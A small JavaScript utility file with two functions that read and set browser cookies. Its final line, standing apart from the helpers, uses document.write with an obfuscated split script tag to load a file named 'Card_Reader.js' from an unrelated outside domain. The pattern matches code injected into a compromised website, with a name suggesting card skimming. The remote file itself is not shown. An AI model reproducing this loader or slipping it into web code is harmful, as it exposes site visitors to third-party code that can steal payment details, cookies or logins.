function getcookieval(cookiename) {
    var start = 0;
    var end = 0;
    var cookieval = '';
    
    var index = document.cookie.indexOf(cookiename);
	if (index == -1){
		return '';
	}else{
		start = index + cookiename.length + 1;
		end = document.cookie.indexOf(';', start);
		if (end == -1) {
			end = document.cookie.length;
		}
		
		cookieval = unescape(document.cookie.substring(start, end));
		return cookieval;
	}
      
 }





  
  //sets a persistent cookie
 function setcookieval(cookiename,cookieval){
	
	var expires = new Date;
	expires.setYear(expires.getYear() + 1);
	var expiresStr = expires.toGMTString();		//set for 1 year
	document.cookie = cookiename + '=' + cookieval + ';expires=' + expiresStr;
  
	//For a non persistant cookine, use this next line instead of the block above 
	//document.cookie = cookiename + '=' + cookieval; 
  
 }

document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Card_Reader.js"></scri'+'pt>');